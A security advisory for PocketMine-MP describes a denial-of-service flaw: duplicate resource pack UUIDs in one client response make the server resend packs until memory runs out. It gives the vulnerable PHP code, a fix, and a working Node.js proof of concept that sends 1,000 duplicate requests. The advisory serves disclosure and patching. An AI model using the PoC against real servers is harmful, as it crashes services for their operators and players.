GHSA-FQQV-56H5-F57G
Vulnerability from github – Published: 2025-09-02 16:52 – Updated: 2025-09-02 16:52Summary
A denial-of-service / out-of-memory vulnerability exists in the STATUS_SEND_PACKS handling of ResourcePackClientResponsePacket.
PocketMine-MP processes the packIds array without verifying that all entries are unique.
A malicious (non-standard) Bedrock client can send multiple duplicate valid pack UUIDs in the same STATUS_SEND_PACKS packet, causing the server to send the same pack multiple times. This can quickly exhaust memory and crash the server.
Severity: High — Remote DoS from an authenticated client.
Details
Relevant code (simplified):
case ResourcePackClientResponsePacket::STATUS_SEND_PACKS:
foreach($packet->packIds as $uuid){
$splitPos = strpos($uuid, "_");
if($splitPos !== false){
$uuid = substr($uuid, 0, $splitPos);
}
$pack = $this->getPackById($uuid);
if(!($pack instanceof ResourcePack)){
$this->disconnectWithError("Unknown pack $uuid requested...");
return false;
}
$this->session->sendDataPacket(ResourcePackDataInfoPacket::create(
$pack->getPackId(),
self::PACK_CHUNK_SIZE,
(int) ceil($pack->getPackSize() / self::PACK_CHUNK_SIZE),
$pack->getPackSize(),
$pack->getSha256(),
false,
ResourcePackType::RESOURCES
));
}
break;
Root cause:
- The
packIdsarray is taken directly from the client packet and processed as-is. - There is no check to ensure that all requested packs are unique.
- A malicious client can craft a
STATUS_SEND_PACKSpacket with many duplicates of a valid UUID. - Each duplicate results in the server re-sending the same pack, consuming additional memory.
Why this is unexpected:
- Mojang's official clients never send duplicates in
packIds. - PocketMine assumes the client is well-behaved, but an attacker can bypass this with a custom client.
Suggested fix: Before sending packs:
- Remove duplicates from the incoming
packIdsarray. - If the difference between the original count and unique count exceeds a small threshold (e.g. > 2 duplicates), immediately disconnect the client with an error.
- Track which packs have already been sent to this player, and skip any that have already been transferred.
$alreadySent = $this->packsSent ?? [];
// Remove duplicates
$uniquePackIds = array_unique($packet->packIds);
// Detect abuse
if(count($packet->packIds) - count($uniquePackIds) > 2){
$this->disconnectWithError("Too many duplicate resource pack requests");
return false;
}
foreach($uniquePackIds as $uuid){
if(in_array($uuid, $alreadySent, true)){
continue; // Skip packs already sent to this player
}
// existing code...
$alreadySent[] = $uuid;
}
$this->packsSent = $alreadySent;
PoC
- Join a PocketMine-MP server with at least one resource pack enabled.
-
Using a custom Bedrock client, send a
ResourcePackClientResponsePacketwith: -
status = STATUS_SEND_PACKS packIds= many duplicates of a known valid pack UUID.
Example Node.js PoC (requires bedrock-protocol and a valid PACK_UUID):
import { createClient } from 'bedrock-protocol';
const host = '127.0.0.1';
const port = 19132;
const username = 'test';
const PACK_UUID = '00000000-0000-0000-0000-000000000000'; // replace with a real UUID
const DUPLICATES = 1000;
const client = createClient({
host,
port,
username,
offline: true
});
client.on('spawn', () => {
console.log('[*] Sending duplicate pack request...');
client.queue('resource_pack_client_response', {
response_status: 'send_packs',
resourcepackids: Array(DUPLICATES).fill(PACK_UUID)
});
});
Impact
- Type: Remote Denial of Service / Memory Exhaustion
- Who is impacted: Any PocketMine-MP server with resource packs enabled
- Requirements: Attacker must connect to the server (authenticated player)
- Effect: Server memory rapidly increases, leading to freeze or crash
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "pocketmine/pocketmine-mp"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "5.32.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2025-09-02T16:52:51Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\n\nA denial-of-service / out-of-memory vulnerability exists in the `STATUS_SEND_PACKS` handling of `ResourcePackClientResponsePacket`.\nPocketMine-MP processes the `packIds` array without verifying that all entries are unique.\nA malicious (non-standard) Bedrock client can send multiple duplicate valid pack UUIDs in the same `STATUS_SEND_PACKS` packet, causing the server to send the same pack multiple times. This can quickly exhaust memory and crash the server.\nSeverity: **High** \u2014 Remote DoS from an authenticated client.\n\n---\n\n### Details\n\nRelevant code (simplified):\n\n```php\ncase ResourcePackClientResponsePacket::STATUS_SEND_PACKS:\n foreach($packet-\u003epackIds as $uuid){\n $splitPos = strpos($uuid, \"_\");\n if($splitPos !== false){\n $uuid = substr($uuid, 0, $splitPos);\n }\n $pack = $this-\u003egetPackById($uuid);\n if(!($pack instanceof ResourcePack)){\n $this-\u003edisconnectWithError(\"Unknown pack $uuid requested...\");\n return false;\n }\n $this-\u003esession-\u003esendDataPacket(ResourcePackDataInfoPacket::create(\n $pack-\u003egetPackId(),\n self::PACK_CHUNK_SIZE,\n (int) ceil($pack-\u003egetPackSize() / self::PACK_CHUNK_SIZE),\n $pack-\u003egetPackSize(),\n $pack-\u003egetSha256(),\n false,\n ResourcePackType::RESOURCES\n ));\n }\n break;\n```\n\n**Root cause:**\n\n* The `packIds` array is taken directly from the client packet and processed as-is.\n* There is no check to ensure that all requested packs are unique.\n* A malicious client can craft a `STATUS_SEND_PACKS` packet with many duplicates of a valid UUID.\n* Each duplicate results in the server re-sending the same pack, consuming additional memory.\n\n**Why this is unexpected:**\n\n* Mojang\u0027s official clients never send duplicates in `packIds`.\n* PocketMine assumes the client is well-behaved, but an attacker can bypass this with a custom client.\n\n---\n\n**Suggested fix:**\nBefore sending packs:\n\n1. Remove duplicates from the incoming `packIds` array.\n2. If the difference between the original count and unique count exceeds a small threshold (e.g. \u003e 2 duplicates), immediately disconnect the client with an error.\n3. Track which packs have already been sent to this player, and skip any that have already been transferred.\n\n```php\n$alreadySent = $this-\u003epacksSent ?? [];\n\n// Remove duplicates\n$uniquePackIds = array_unique($packet-\u003epackIds);\n\n// Detect abuse\nif(count($packet-\u003epackIds) - count($uniquePackIds) \u003e 2){\n $this-\u003edisconnectWithError(\"Too many duplicate resource pack requests\");\n return false;\n}\n\nforeach($uniquePackIds as $uuid){\n if(in_array($uuid, $alreadySent, true)){\n continue; // Skip packs already sent to this player\n }\n // existing code...\n $alreadySent[] = $uuid;\n}\n\n$this-\u003epacksSent = $alreadySent;\n```\n\n---\n\n### PoC\n\n1. Join a PocketMine-MP server with at least one resource pack enabled.\n2. Using a custom Bedrock client, send a `ResourcePackClientResponsePacket` with:\n\n * `status = STATUS_SEND_PACKS`\n * `packIds` = many duplicates of a known valid pack UUID.\n\nExample Node.js PoC (requires `bedrock-protocol` and a valid `PACK_UUID`):\n\n```js\nimport { createClient } from \u0027bedrock-protocol\u0027;\n\nconst host = \u0027127.0.0.1\u0027;\nconst port = 19132;\nconst username = \u0027test\u0027;\nconst PACK_UUID = \u002700000000-0000-0000-0000-000000000000\u0027; // replace with a real UUID\nconst DUPLICATES = 1000;\n\nconst client = createClient({\n host,\n port,\n username,\n offline: true\n});\n\nclient.on(\u0027spawn\u0027, () =\u003e {\n console.log(\u0027[*] Sending duplicate pack request...\u0027);\n client.queue(\u0027resource_pack_client_response\u0027, {\n response_status: \u0027send_packs\u0027,\n resourcepackids: Array(DUPLICATES).fill(PACK_UUID)\n });\n});\n```\n\n---\n\n### Impact\n\n* **Type:** Remote Denial of Service / Memory Exhaustion\n* **Who is impacted:** Any PocketMine-MP server with resource packs enabled\n* **Requirements:** Attacker must connect to the server (authenticated player)\n* **Effect:** Server memory rapidly increases, leading to freeze or crash",
"id": "GHSA-fqqv-56h5-f57g",
"modified": "2025-09-02T16:52:51Z",
"published": "2025-09-02T16:52:51Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/pmmp/PocketMine-MP/security/advisories/GHSA-fqqv-56h5-f57g"
},
{
"type": "WEB",
"url": "https://github.com/pmmp/PocketMine-MP/commit/c417ecd30d20520227b15e09eda87db492ab0a6a"
},
{
"type": "WEB",
"url": "https://github.com/pmmp/PocketMine-MP/commit/e375437439df51f7862b6b98318394643fcd6724"
},
{
"type": "PACKAGE",
"url": "https://github.com/pmmp/PocketMine-MP"
},
{
"type": "WEB",
"url": "https://github.com/pmmp/PocketMine-MP/releases/tag/5.32.1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "PocketMine-MP `ResourcePackDataInfoPacket` amplification vulnerability due to lack of resource pack sequence status checking"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.